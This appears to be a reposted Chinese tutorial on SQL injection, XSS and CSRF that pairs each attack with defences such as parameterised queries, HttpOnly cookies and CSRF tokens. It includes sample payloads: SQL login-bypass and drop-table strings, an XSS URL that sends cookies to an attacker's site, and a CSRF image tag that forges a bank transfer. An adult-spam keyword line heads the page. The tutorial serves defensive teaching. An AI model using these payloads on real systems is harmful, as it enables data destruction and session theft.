2020国产成人精品视频,性做久久久久久久久,亚洲国产成人久久综合一区,亚洲影院天堂中文av色

分享

常見的Web攻擊方式:SQL注入、XSS跨站腳本攻擊、跨站點(diǎn)請求偽造

 三十的狼 2019-08-30

常見的Web攻擊有SQL注入、XSS跨站腳本攻擊、跨站點(diǎn)請求偽造共三類,下面分別簡單介紹。

1 SQL注入

1.1 原理

       SQL注入就是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達(dá)到欺騙服務(wù)器執(zhí)行惡意的SQL命令。SQL注入漏洞到底是以怎樣的形式進(jìn)行攻擊的呢,接下來將以一個簡單的實(shí)例來進(jìn)行介紹。

       比如在一個登陸界面,有兩個文本框分別用來輸入用戶名和密碼,當(dāng)用戶點(diǎn)了登錄按鈕的時候,會對輸入的用戶名和密碼進(jìn)行驗(yàn)證。

在這里插入圖片描述

驗(yàn)證的SQL語句可以簡單理解為:select * from student where username=‘輸入的用戶名’ and password=‘輸入的密碼’ ,如果能夠檢索到數(shù)據(jù),說明驗(yàn)證通過,否則驗(yàn)證不通過。

如果用戶在用戶名文本框中輸入 ’ or ‘1’ = ‘1’ or ‘1’ = ‘1,則驗(yàn)證的SQL語句變成:select * from student where username=" or ‘1’ = ‘1’ or ‘1’ = ‘1’ and password= "
如果用戶在密碼文本框中輸入 1 ’ or ‘1 ‘=’ 1,則驗(yàn)證的SQL語句變成:select * from student where username=’’ and password=‘1’ or ‘1’=‘1’
以上兩個SQL語句的where條件永遠(yuǎn)是成立的,所以驗(yàn)證永遠(yuǎn)是有效的。

另外,如果在用戶名文本框中輸入 tom’ ; drop table student- -,則SQL語句變成:

select * from student where username='tom' ; 
drop table student--' and password=''

這樣就變成兩條SQL語句,執(zhí)行完查詢操作,接著直接把student表給刪除了(雙連接符表示注釋)。

1.2 防御措施

       通過上面的描述我們就很清楚的明白,黑客如果發(fā)現(xiàn)平臺里有SQL注入漏洞,那么我們的平臺就會輕而易舉的被攻破了。那么我們?nèi)绾螌懘a,才能實(shí)現(xiàn)對SQL注入攻擊進(jìn)行更好的防御呢。下面將分別介紹下防御措施:

1、永遠(yuǎn)不要信任用戶的輸入

對用戶的輸入進(jìn)行校驗(yàn),可以通過正則表達(dá)式,或限制長度;對單引號和雙“-”進(jìn)行轉(zhuǎn)換等;具體表現(xiàn)如下:

①輸入為數(shù)字參數(shù)則必須進(jìn)行數(shù)字類型判斷

如采用正則表達(dá)式:String characterPattern = “^\d+$”;

②輸入為字符串參數(shù)則必須進(jìn)行字符型合法性判斷

如采用正則表達(dá)式:String characterPattern = ^[A-Za-z]*$;

③輸入只允許包含某些特定的字符或字符的組合使用白名單進(jìn)行輸入校驗(yàn),如email地址、日期、小數(shù)等:
String characterPattern = "^([a-z0-9A-Z]+[_-]?)+[a-z0-9A-Z]@(([a-z0-9A-Z]+[_-]?)+(-[a-z0-9A-Z]+)?\\.)+[a-zA-Z]{2,4}$"; //email正則表達(dá)式

④校驗(yàn)輸入數(shù)據(jù)的長度

⑤校驗(yàn)輸入數(shù)據(jù)的范圍,如年齡為0~50之間的正整數(shù)

⑥將特殊字符單引號和雙“-”進(jìn)行轉(zhuǎn)換。

2、永遠(yuǎn)不要使用動態(tài)拼裝sql

可以使用參數(shù)化的sql或者直接使用存儲過程進(jìn)行數(shù)據(jù)查詢存取。哪怕參數(shù)是常量,也請用預(yù)編譯語句PreparedStatement,同時用占位符,如: “select * from table where comment like ?”。

注意:如果參數(shù)不是使用的占位符,即使用PreparedStatement執(zhí)行時也并不是預(yù)編譯。

3、永遠(yuǎn)不要使用管理員權(quán)限的數(shù)據(jù)庫連接

為每個應(yīng)用使用單獨(dú)的有權(quán)限的數(shù)據(jù)庫連接,這樣能降低數(shù)據(jù)庫密碼被泄漏而帶來的破壞。

4、不要把機(jī)密信息直接存放

加密或者h(yuǎn)ash掉密碼和敏感的信息;如數(shù)據(jù)庫連接密碼、用戶密碼、設(shè)備密碼需要加密存儲。

5、應(yīng)用的異常信息應(yīng)該給出盡可能少的提示

最好使用自定義的錯誤信息對原始錯誤信息進(jìn)行包裝。

2 XSS跨站腳本攻擊

2.1 原理

       XSS(Cross Site Scripting)跨站腳本攻擊指攻擊者在網(wǎng)頁中嵌入客戶端腳本(例如JavaScript),當(dāng)用戶瀏覽此網(wǎng)頁時,腳本就會在用戶的瀏覽器上執(zhí)行,從而達(dá)到攻擊者的目的,比如獲取用戶的Cookie,導(dǎo)航到惡意網(wǎng)站,攜帶木馬等。XSS漏洞到底是以怎樣的形式進(jìn)行攻擊的呢,接下來將通過兩個不同的場景來進(jìn)行介紹。

1、Dom-Based XSS 漏洞

基于DOM的XSS,也就是web server不參與,僅僅涉及到瀏覽器的XSS

攻擊過程如下:小A發(fā)現(xiàn)了中的Search.jsp頁面有XSS漏洞,Search.jsp的代碼如下:

<html>
    <title></title> 
	<body> 
    	Results  for  <%=request.getParameter("term")%>...  
	</body>  
</html>  

沒有對term做任何過濾校驗(yàn)。

       小A 先建立一個網(wǎng)站http://,用來接收“偷”來的信息。然后小A構(gòu)造一個惡意的url(如下),通過某種方式(郵件,QQ)發(fā)給小B

http:///search.asp?term=<script>window.open("http://?cookie="+document.cookie)</script>

       小B點(diǎn)擊了這個URL,嵌入在URL中的惡意Javascript代碼就會在小B的瀏覽器中執(zhí)行,那么小B在網(wǎng)站的cookie,就會被發(fā)送到badboy網(wǎng)站中,這樣小B在的信息就被小A盜了。

2、Stored XSS(存儲式XSS漏洞)

       如一個應(yīng)用程序從數(shù)據(jù)庫中查詢數(shù)據(jù),在頁面中顯示出來,攻擊者在這個頁面輸入惡意的腳本數(shù)據(jù)后,用戶瀏覽此類頁面時就可能受到攻擊,使得所有訪問該頁面的用戶都面臨信息泄露的可能。
在這里插入圖片描述

攻擊過程如下:

       小C發(fā)現(xiàn)了網(wǎng)站A上有一個XSS 漏洞,該漏洞允許將攻擊代碼保存在數(shù)據(jù)庫中,于是小C發(fā)布了一篇文章,文章中嵌入了惡意JavaScript代碼。其他人如小D訪問這片文章的時候,嵌入在文章中的惡意Javascript代碼就會在小D的瀏覽器中執(zhí)行,其會話cookie或者其他信息將被小C盜走。

Dom-Based XSS漏洞威脅用戶個體,而存儲式XSS漏洞所威脅的對象將是大量的用戶。

2.2 防御措施

針對XSS跨站腳本攻擊,我們的防御原則是不相信用戶輸入的數(shù)據(jù),對應(yīng)的防御措施如下:

1、在cookie中不要存放一些敏感信息
       比如用戶名、密碼等安全信息,或者cookie中的信息采用加密的方式。最為有效的方式是將重要的cookie標(biāo)記為http only,這樣腳本中就不能訪問這個cookie,就避免了XSS攻擊利用JavaScript的document.cookie獲取cookie:

2、輸入過濾校驗(yàn),對用戶提交的數(shù)據(jù)進(jìn)行有效性驗(yàn)證

       僅接受指定長度范圍內(nèi)并符合我們期望格式的的內(nèi)容提交,阻止或者忽略除此外的其他任何數(shù)據(jù)。比如:電話號碼必須是數(shù)字和中劃線組成,而且要設(shè)定長度上限。過濾一些些常見的敏感字符,例如:< > ‘ “ & # \;過濾或移除特殊的Html標(biāo)簽, 例如: <script>, <iframe> , < for <, > for >, &quot for;過濾JavaScript 事件的標(biāo)簽,例如 "οnclick=", "onfocus" 等等。這里的數(shù)據(jù)校驗(yàn)除了前臺要做,后臺也要做。

3、DOM型的XSS攻擊防御
  把變量輸出到頁面時要做好相關(guān)的編碼轉(zhuǎn)義工作,如要輸出到 <script>中,可以進(jìn)行JS編碼;要輸出到HTML內(nèi)容或?qū)傩裕瑒t進(jìn)行HTML編碼處理。根據(jù)不同的語境采用不同的編碼處理方式。

3 跨站點(diǎn)請求偽造

3.1 原理

       CSRF( Cross-site request forgery )盡管聽起來很像XSS跨站腳本攻擊,但是它于XSS完全不同。XSS是利用站點(diǎn)內(nèi)的信任用戶,而CSRF則是通過偽裝來自受信任用戶的請求來利用受信任的站點(diǎn),從而在并未授權(quán)的情況下執(zhí)行在權(quán)限保護(hù)之下的操作。與XSS相比,CSRF攻擊不大流行和難以防范,所以比XSS更具危險(xiǎn)性。
在這里插入圖片描述
從上圖可以看出,要完成一次CSRF攻擊,受害者必須依次完成兩個步驟 :
1.登錄受信任網(wǎng)站A,并在本地生成Cookie 。
2.在不退出A的情況下,訪問危險(xiǎn)網(wǎng)站B。

接下來通過實(shí)例來介紹什么是CSRF攻擊

       受害者 tom 在銀行有一筆存款,通過對銀行的網(wǎng)站發(fā)送請求:http://bank.example/withdrawaccount=tom&amount=1000000&for=tom2 可以使 tom把 1000000 的存款轉(zhuǎn)到 tom2 的賬號下。通常情況下,該請求發(fā)送到網(wǎng)站后,服務(wù)器會先驗(yàn)證該請求是否來自一個合法的 session,并且該 session 的用戶 tom 已經(jīng)成功登陸。

       黑客 tom3 自己在該銀行也有賬戶,他知道上文中的 URL 可以把錢進(jìn)行轉(zhuǎn)帳操作。 tom3 可以自己發(fā)送一個請求給銀行:http://bank.example/withdraw?account=bob&amount=1000000&for=tom3 。但是這個請求來自tom3 而非tom ,他不能通過安全認(rèn)證,因此該請求不會起作用。

       這時,tom3 想到使用CSRF的攻擊方式,他先自己做一個網(wǎng)站,在網(wǎng)站中放入如下代碼:<img src="http://bank.example/withdraw?account=bob&amount=1000000&for=tom3” />。并且通過廣告等誘使 tom 來訪問他的網(wǎng)站。當(dāng) tom訪問該網(wǎng)站時,上述 url 就會從 tom 的瀏覽器發(fā)向銀行,而這個請求會附帶 tom 瀏覽器中的cookie一起發(fā)向銀行服務(wù)器。

大多數(shù)情況下該請求會失敗,因?yàn)樗髏om 的認(rèn)證信息。但是

①如果tom當(dāng)時恰巧剛訪問他的銀行后不久
②他的瀏覽器與銀行網(wǎng)站之間的 session 尚未過期
③瀏覽器的 cookie 之中含有 tom 的認(rèn)證信息

       這時,悲劇發(fā)生了,這個 url 請求就會得到響應(yīng),錢將從 tom的賬號轉(zhuǎn)移到 tom3的賬號,而 tom當(dāng)時毫不知情。等以后 tom發(fā)現(xiàn)賬戶錢少了,即使他去銀行查詢?nèi)罩荆仓荒馨l(fā)現(xiàn)確實(shí)有一個來自于他本人的合法請求轉(zhuǎn)移了資金,沒有任何被攻擊的痕跡。而 tom3 則可以拿到錢后逍遙法外。

3.2 防御措施

       服務(wù)端的預(yù)防CSRF攻擊的方式方法有多種,但思想上都是差不多的,主要從以下2個方面入手:1、正確使用GET,POST和Cookie;2、在非GET請求中增加偽隨機(jī)數(shù),對應(yīng)的防御措施如下:

1.對于web站點(diǎn),將持久化的授權(quán)方法(例如cookie或者HTTP授權(quán))切換為瞬時的授權(quán)方法(在每個form中提供隱藏field,或者每次操作都需要重新認(rèn)證)。目前主流的做法是使用Token抵御CSRF攻擊。CSRF攻擊成功的條件在于攻擊者能夠預(yù)測所有的參數(shù)從而構(gòu)造出合法的請求,所以我們可以加大這個預(yù)測的難度,加入一些黑客不能偽造的信息。我們在提交表單時,保持原有參數(shù)不變,另外添加一個參數(shù)Token,該值可以是隨機(jī)并且加密的,當(dāng)提交表單時,客戶端也同時提交這個token,然后由服務(wù)端驗(yàn)證,驗(yàn)證通過才是有效的請求。但是由于用戶的Cookie很容易由于網(wǎng)站的XSS漏洞而被盜取,所以這個方案必須要在沒有XSS的情況下才安全。

2.通過在瀏覽其它站點(diǎn)前登出站點(diǎn)或者在瀏覽器會話結(jié)束后清理瀏覽器的cookie來防止CSRF攻擊,對于關(guān)鍵操作我們應(yīng)該采用post方法。

3.檢查http請求中的referer的值,只有對referer中信任的站點(diǎn)才可以訪問。所謂Referer,就是在一個網(wǎng)絡(luò)請求頭中的鍵值對,標(biāo)示著目前的請求是從哪個頁面過來的。服務(wù)器通過檢查Referer的值,如果判斷出Referer并非本站頁面,而是一個外部站點(diǎn)的頁面,那么我們就可以判斷出這個請求是非法的。與此同時,我們也就檢測到了一次csrf攻擊。但是,服務(wù)器有時候并不能接收Referer值,所以單純地只通過Referer來防御是不太合理的,它因此經(jīng)常用于csrf的檢測。

    本站是提供個人知識管理的網(wǎng)絡(luò)存儲空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn)。請注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請點(diǎn)擊一鍵舉報(bào)。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評論

    發(fā)表

    請遵守用戶 評論公約

    類似文章 更多